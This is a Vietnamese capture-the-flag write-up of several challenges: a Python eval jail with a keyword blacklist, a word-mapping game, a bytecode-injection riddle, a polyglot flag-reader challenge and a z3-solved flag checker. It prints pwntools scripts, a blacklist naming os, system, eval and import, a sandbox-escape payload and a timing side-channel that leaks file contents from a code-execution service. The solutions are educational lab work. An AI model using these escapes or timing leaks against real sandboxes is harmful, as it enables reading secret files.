⢻⣧⠀⠀⠀⠀⠀⣸⣥⣄⡀⠀⠀⣾⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⢸⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠂⠀⠀⠀⠀⠀⠀⣿⡇
⢸⣿⣦⠀⠀⠀⠚⠉⠀⠈⠉⠻⣾⣿⡏⢻⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣟⢘⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⢳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠐⡟⠀⠀⠀⠀⠀⠀⢀⣿⠁
⢸⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠻⣇⠈⠻⠷⠦⠤⣄⣀⣀⣀⣀⣠⣿⣿⣄⠀⠀⠀⠀⠀⣠⡾⠋⠄⠀⠈⢳⡀⠀⠀⠀⠀⠀⠀⠀⣸⠃⠀⠀⠀⠀⠀⠀⣸⠟⠀
⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣧⣔⠢⠤⠤⠀⠀⠈⠉⠉⠉⢤⠀⠙⠓⠦⠤⣤⣼⠋⠀⠀⠀⠀⠀⠀⠹⣦⠀⠀⠀⠀⠀⢰⠏⠀⠀⠀⠀⠀⢀⣼⡟⠀⠀
⠀⢻⣷⣖⠦⠄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣷⠈⢳⡀⠈⠛⢦⣀⡀⠀⠀⠘⢷⠀⠀⠀⢀⣼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠈⠳⡄⠀⠀⣠⠏⠀⠀⠀⠀⣀⣴⡿⠋⠀⠀⠀
⠀⠀⠙⠻⣦⡀⠈⠛⠆⠀⠀⠀⣠⣤⡤⠀⠿⣤⣀⡙⠢⠀⠀⠈⠙⠃⣠⣤⠾⠓⠛⠛⢿⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⡴⠞⠁⢀⣠⣤⠖⢛⣿⠉⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠈⠙⢷⣤⡁⠀⣴⠞⠁⠀⠀⠀⠀⠈⠙⠿⣷⣄⣀⣠⠶⠞⠋⠀⠀⠀⠀⠀⠀⢻⡆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⠶⠞⠋⠁⠀⢀⣾⠟⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠉⠻⣷⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⢙⣧⡉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠢⣤⣀⣀⠀⠀⠈⠂⢀⣤⠾⠋⠀⠀⠀⠀⠀⣠⡾⠃⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠉⠉⠉⠉⠁⠀⠀⢀⣠⠎⣠⡾⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⠀⣦⠀⠀⠀⠀⠀⠀⠀⣿⣇⢠⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⠀⠀⠀⠤⢐⣯⣶⡾⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣄⠸⣆⠀⠀⠲⣆⠀⠀⢸⣿⣶⣮⣉⡙⠓⠒⠒⠒⠒⠒⠈⠉⠁⠀⠀⠀⠀⠀⢀⣶⣶⡿⠟⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠛⠷⠾⠷⣦⣾⠟⠻⠟⠛⠁⠀⠈⠛⠛⢿⣶⣤⣤⣤⣀⣀⠀⠀⠀⠀⠀⠀⠀⣨⣾⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠉⠉⠙⠛⠛⠛⠻⠿⠿⠿⠿⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
'''
blacklist = [ ';', '"', 'os', '_', '\\', '/', '`',
' ', '-', '!', '[', ']', '*', 'import',
'eval', 'banner', 'echo', 'cat', '%',
'&', '>', '<', '+', '1', '2', '3', '4',
'5', '6', '7', '8', '9', '0', 'b', 's',
'lower', 'upper', 'system', '}', '{' ]
while True:
ans = input('Break me, shake me!\n\n$ ').strip()
if any(char in ans for char in blacklist):
print(f'\n{banner1}\nNaughty naughty..\n')
else:
try:
eval(ans + '()')
print('WHAT WAS THAT?!\n')
except:
print(f"\n{banner2}\nI'm UNBREAKABLE!\n")
Hàm eval()
là hàm sẽ thực thi những câu lệnh python mà ta viết trong đó dưới dạng str. Nhưng những str ta nhập phải vượt qua black list chặn rất nhiều những ký tự và hàm quan trọng. Ta đã biết rằng flag được chứa trong file "flag.txt" nên bây giờ ta cần gửi một đoạn code có thể mở file đó và in ra cho chúng ta flag mà hàm open()
và print()
đều thỏa mãn backlist nên dùng nó gửi đi là có được flag.
# nc
from pwn import *
def main() -> None:
s = remote("83.136.252.194", 45881)
print(s.recvuntil(b"\n\n").decode())
s.sendline(b"print(open('flag.txt','r').read())#")
print(s.recvuntil(b'}').decode())
if __name__ == "__main__":
main()
Stop Drop and Roll
credit: MinhFanBoy
SOURCE:
import random
CHOICES = ["GORGE", "PHREAK", "FIRE"]
print("===== THE FRAY: THE VIDEO GAME =====")
print("Welcome!")
print("This video game is very simple")
print("You are a competitor in The Fray, running the GAUNTLET")
print("I will give you one of three scenarios: GORGE, PHREAK or FIRE")
print("You have to tell me if I need to STOP, DROP or ROLL")
print("If I tell you there's a GORGE, you send back STOP")
print("If I tell you there's a PHREAK, you send back DROP")
print("If I tell you there's a FIRE, you send back ROLL")
print("Sometimes, I will send back more than one! Like this: ")
print("GORGE, FIRE, PHREAK")
print("In this case, you need to send back STOP-ROLL-DROP!")
ready = input("Are you ready? (y/n) ")
if ready.lower() != "y":
print("That's a shame!")
exit(0)
print("Ok then! Let's go!")
count = 0
tasks = []
for _ in range(500):
tasks = []
count = random.randint(1, 5)
for _ in range(count):
tasks.append(random.choice(CHOICES))
print(', '.join(tasks))
result = input("What do you do? ")
correct_result = "-".join(tasks).replace("GORGE", "STOP").replace("PHREAK", "DROP").replace("FIRE", "ROLL")
if result != correct_result:
print("Unfortunate! You died!")
exit(0)
print(f"Fantastic work! The flag is {FLAG}")
Bài này cũng không có gì ta chỉ cần nhận vào một list rồi gửi lại một list khác với các giá trị tương ứng là được. Đề bài cho ta một chuỗi các sữ kiện như GORGE, PHREAK và FIRE và ta cần phải gửi lại sao cho thỏa mãn
print("If I tell you there's a GORGE, you send back STOP")
print("If I tell you there's a PHREAK, you send back DROP")
print("If I tell you there's a FIRE, you send back ROLL")
nên mình viết một đoạn code đơn giản thay thế các ký tự bằng ký tự thay thế là xong.
# nc 83.136.251.232 58416
from pwn import *
def main() -> None:
s = remote("83.136.251.232", 58416)
s.sendlineafter(b'(y/n) ', b'y')
s.recvline()
while True:
recv = s.recvlineS().strip()
print(recv)
result = recv.replace(", ", "-")
result = result.replace("GORGE", "STOP")
result = result.replace("PHREAK", "DROP")
result = result.replace("FIRE", "ROLL")
s.sendlineafter(b'do? ', result.encode())
if __name__ == "__main__":
main()
Cubicle Riddle
credit: MinhFanBoy
SOURCE:
here :v
Bài này có mấu chốt chủ yếu là ở phần này:
def _construct_answer(self, answer: bytes) -> types.CodeType:
co_code: bytearray = bytearray(self.co_code_start)
co_code.extend(answer)
co_code.extend(self.co_code_end)
code_obj: types.CodeType = types.CodeType(
1,
0,
0,
4,
3,
3,
bytes(co_code),
(None, self.max_int, self.min_int),
(),
("num_list", "min", "max", "num"),
__file__,
"_answer_func",
"_answer_func",
1,
b"",
b"",
(),
(),
)
Mình có thể gửi một đoạn bytes vào phần co_de. Chúng ta cần chú ý đến một vài phần sau:
codeobject.co_consts là mảng tuple chứa các giá trị của hàm, ở trong trường hợp này là (None, self.max_int, self.min_int)
codeobject.co_varnames là mảng gồm tên của các biến trong hàm, ở trong trường hợp này là ("num_list", "min", "max", "num")
codeobject.co_code đây là phần quan trong nhất, là một chuỗi byte biểu thị chuỗi hướng dẫn mã byte trong hàm.
Từ đó chúng ta có thể gán giá trị của một số nào đó cho min, max rồi có thể trả nó về. Trong python có hỗ trợ thư viện này giúp chuyển hàm thành dạng code.
Tổng hợp tất cả các thông tin đã có như sau: ta viết một hàm tìm ra giá trị lớn nhất, nhỏ nhất của nums_list
rồi lưu lại vào biến min, max đã có sẵn, sau đó chuyển nó thành dạng bytes và gửi nó đi là ta thành công có được flag.
from pwn import *
def _answer_func(num_list: int):
min: int = 1000
max: int = -1000
for num in num_list:
if num < min:
min = num
if num > max:
max = num
return (min, max)
def main() -> None:
s = remote("94.237.54.30", 56070)
ans: bytes = _answer_func.__code__.co_code
ans = ",".join([str(x) for x in ans])
print(ans)
print(s.recvuntil(b"(Choose wisely) > ").decode())
s.sendline(b"1")
print(s.recvuntil(b"(Answer wisely) >").decode())
s.sendline(ans.encode())
print(s.recvuntil(b"}").decode())
if __name__ == "__main__":
main()
MultiDigilingual
credit: MinhFanBoy
TASK:
****************************************
* How many languages can you talk? *
* Pass a program that's *
* all of the below that just reads *
* the file `flag.txt` to win *
* and pass the test. *
* *
* Languages: *
* * Python3 *
* * Perl *
* * Ruby *
* * PHP8 *
* * C *
* * C++ *
* *
* Succeed in this and you will be *
* rewarded! *
****************************************
Enter the program of many languages (input in base64):
Bài này khá là hay. Có thể giải theo cách timming attack. Đề bài yêu cầu ta phải nhập vào một program có thể chạy được nhiều ngôn ngữ để đọc file, máy chủ sẽ chạy file đó qua từng ngôn ngữ khác nhau cho tới khi thỏa mãn hết sẽ in ra flag. Nhưng việc code như vậy sẽ khá tốn công nên lợi dụng việc chương trình chạy code mà ta gửi để có thể lợi dựng điều đó để chạy một vài hàm leak ra thông tin gì đó về flag (ở đây nó leak ra dưới dạng thời gian phản hồi).
Khi ta gửi chương trình này:
import time
flag = open('flag.txt', 'r').read()
time.sleep(ord(flag[{i}]) / 10)
Máy chủ sẽ chạy nó, trong khi nó vẫn thỏa mãn yêu cầu của sever và cũng leak cho chúng ta thông tin thêm về flag.
Từ đó, ta gửi yêu cầu nhiều lần lên lên máy chủ, mỗi lần đọc từng ký tự của flag khi đó chương trình sẽ tạm dừng chương trình một khoảng thời gian đúng bằng (ord(flag) / 10) nên ta tính toán khoảng thời gian chênh lệch là ta có flag (trong đoạn code có bị trừ đi cho 2 là do một vài yếu tố mội trường như tốc độ mang, máy tính ảnh hưởng tới thời gian)
import time
from base64 import *
from pwn import *
def main() -> None:
flag = ""
for i in range(100):
code = f"""
import time
flag = open('flag.txt', 'r').read()
time.sleep(ord(flag[{i}]) / 10)
"""
s = remote("94.237.63.93", 38070)
s.recvuntil(b'Enter the program of many languages: ')
start = time.time()
s.sendline(b64encode(code.encode()))
s.recvuntil(b'[+] Completed. Checking output')
end = time.time()
flag += chr(int((end - start)* 10) - 2)
print(flag)
s.close()
if flag[-1] == "}":
break
if __name__ == "__main__":
main()
Một cách khá cũng khá hay mình tham khảo trên mạng. Mình viết một file thỏa mãn tất cả các ngôn ngữ ở trên.
#include/*
#<?php eval('echo file_get_contents("flag.txt", true);')?>
q="""*/<stdio.h>
int main() {char s[500];fgets(s, 500, fopen((const char[]){'f','l','a','g','.','t','x','t','\x00'}, (const char[]){'r', '\x00'})); {puts(s);}if(1);
else {}} /*=;
open(my $file, 'flag.txt');print(<$file>)#";print(puts File.read('flag.txt'));#""";print(open('flag.txt').read())#*/
colored_squares
credit: MinhFanBoy
SOURCE:
Khi mở file này ra ta thấy đâ gồm rất nhiều file (hơn 3000) và bên trong hầu như trống và không có nhiều ký tự.
Sau một hồi loai hoay tìm hiểu thì mình nhận ra đây là một kiểu script tương tự như brainfuck. Nền lên mạng thì tìm thấy thư viện này có thể chuyển nó về file python. Đây là code sau khi mình đã chuyển.
print("Enter the flag in decimal (one character per line) :\n", end='', flush=True)
var_0 = input()
if var_0.isdigit():
var_0 = int(var_0)
else:
var_0 = var_0
var_1 = input()
if var_1.isdigit():
var_1 = int(var_1)
else:
var_1 = var_1
var_2 = input()
if var_2.isdigit():
var_2 = int(var_2)
else:
var_2 = var_2
var_3 = input()
if var_3.isdigit():
var_3 = int(var_3)
else:
var_3 = var_3
var_4 = input()
if var_4.isdigit():
var_4 = int(var_4)
else:
var_4 = var_4
var_5 = input()
if var_5.isdigit():
var_5 = int(var_5)
else:
var_5 = var_5
var_6 = input()
if var_6.isdigit():
var_6 = int(var_6)
else:
var_6 = var_6
var_7 = input()
if var_7.isdigit():
var_7 = int(var_7)
else:
var_7 = var_7
var_8 = input()
if var_8.isdigit():
var_8 = int(var_8)
else:
var_8 = var_8
var_9 = input()
if var_9.isdigit():
var_9 = int(var_9)
else:
var_9 = var_9
var_10 = input()
if var_10.isdigit():
var_10 = int(var_10)
else:
var_10 = var_10
var_11 = input()
if var_11.isdigit():
var_11 = int(var_11)
else:
var_11 = var_11
var_12 = input()
if var_12.isdigit():
var_12 = int(var_12)
else:
var_12 = var_12
var_13 = input()
if var_13.isdigit():
var_13 = int(var_13)
else:
var_13 = var_13
var_14 = input()
if var_14.isdigit():
var_14 = int(var_14)
else:
var_14 = var_14
var_15 = input()
if var_15.isdigit():
var_15 = int(var_15)
else:
var_15 = var_15
var_16 = input()
if var_16.isdigit():
var_16 = int(var_16)
else:
var_16 = var_16
var_17 = input()
if var_17.isdigit():
var_17 = int(var_17)
else:
var_17 = var_17
var_18 = input()
if var_18.isdigit():
var_18 = int(var_18)
else:
var_18 = var_18
var_19 = input()
if var_19.isdigit():
var_19 = int(var_19)
else:
var_19 = var_19
var_20 = input()
if var_20.isdigit():
var_20 = int(var_20)
else:
var_20 = var_20
var_21 = input()
if var_21.isdigit():
var_21 = int(var_21)
else:
var_21 = var_21
if (((var_7) - (var_18)) == ((var_8) - (var_9))):
if (((var_6) + (var_10)) == (((var_16) + (var_20)) + (12))):
if (((var_8) * (var_14)) == (((var_13) * (var_18)) * (2))):
if ((var_19) == (var_6)):
if (((var_9) + (1)) == ((var_17) - (1))):
if (((var_11) / ((var_5) + (7))) == (2)):
if (((var_5) + ((var_2) / (2))) == (var_1)):
if (((var_16) - (9)) == ((var_13) + (4))):
if (((var_12) / (3)) == (17)):
if ((((var_4) - (var_5)) + (var_12)) == ((var_14) + (20))):
if ((((var_12) * (var_15)) / (var_14)) == (24)):
if ((var_18) == ((173) - (var_4))):
if ((var_6) == ((63) + (var_5))):
if (((32) * (var_16)) == ((var_7) * (var_0))):
if ((125) == (var_21)):
if (((var_3) - (var_2)) == (57)):
if (((var_17) - (var_15)) == ((var_18) + (1))):
print("Good job! :)", end='', flush=True)
Mình được một đoạn code khác dung để check flag. Thấy flag có 22 ký tự và các ký tự thỏa mãn với nhau theo các điều kiện trong hàm if nên từ đó ta có 22 ẩn và rất nhiều phương trình. Sử dụng các điều kiện ở trên với điều kiện các ký tự kia thuộc ascii và ta có thể đọc được nên ta gán khoảng giá trị cho nó 44 < x < 125
, ngoài ra ta cũng có flag form là HTB{..}
tương ứng với các vị trí trong flag nên ta cũng sử dụng nó để tính. Và đây là code (gần) của mình. Từ đó mình có hướng dử dụng z3
để giải hệ phương trình 22 ấn. Nhưng sau khi chạy script xong thì vẫn còn một vài chỗ trong flag bị sai nên mình phải đoán flag một chút.
from z3 import *
def main() -> None:
flag: BitVecs = BitVecs('v0, v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13, v14, v15, v16, v17, v18, v19, v20, v21', 8)
s = Solver()
s.add(flag[7] - flag[18] == flag[8] - flag[9])
s.add(flag[6] + flag[10] == flag[16] + flag[20] + 12)
s.add(flag[8] * flag[14] == 2 * flag[18] * flag[13])
s.add(flag[19] == flag[6])
s.add(flag[9] + 1 == flag[17] - 1)
s.add(flag[11] == 2 * (flag[5] + 7))
s.add(flag[5] + flag[2]/2 == flag[1])
s.add(flag[16] - 9 == flag[13] + 4)
s.add(flag[12] == 17 * 3)
s.add(flag[4] - flag[5] + flag[12] == flag[14] + 20)
s.add(flag[12] * flag[15] == 24 * flag[14])
s.add(flag[18] + flag[4] == 173)
s.add(flag[6] == flag[5] + 63)
s.add(flag[16] * 32 == flag[0] * flag[7])
s.add(flag[21] == 125)
s.add(flag[3] - flag[2] == 57)
s.add(flag[17] - flag[15] == flag[18] + 1)
for i in range(len(flag)):
s.add(flag[i] >= 48)
s.add(flag[i] <= 125)
s.add(flag[0] == ord('H'))
s.add(flag[1] == ord('T'))
s.add(flag[2] == ord('B'))
s.add(flag[3] == ord('{'))
s.add(flag[21] == ord('}'))
if s.check() == sat:
m = s.model()
for v in flag:
print(chr(m[v].as_long()), end="", flush=True)
if __name__ == "__main__":
main()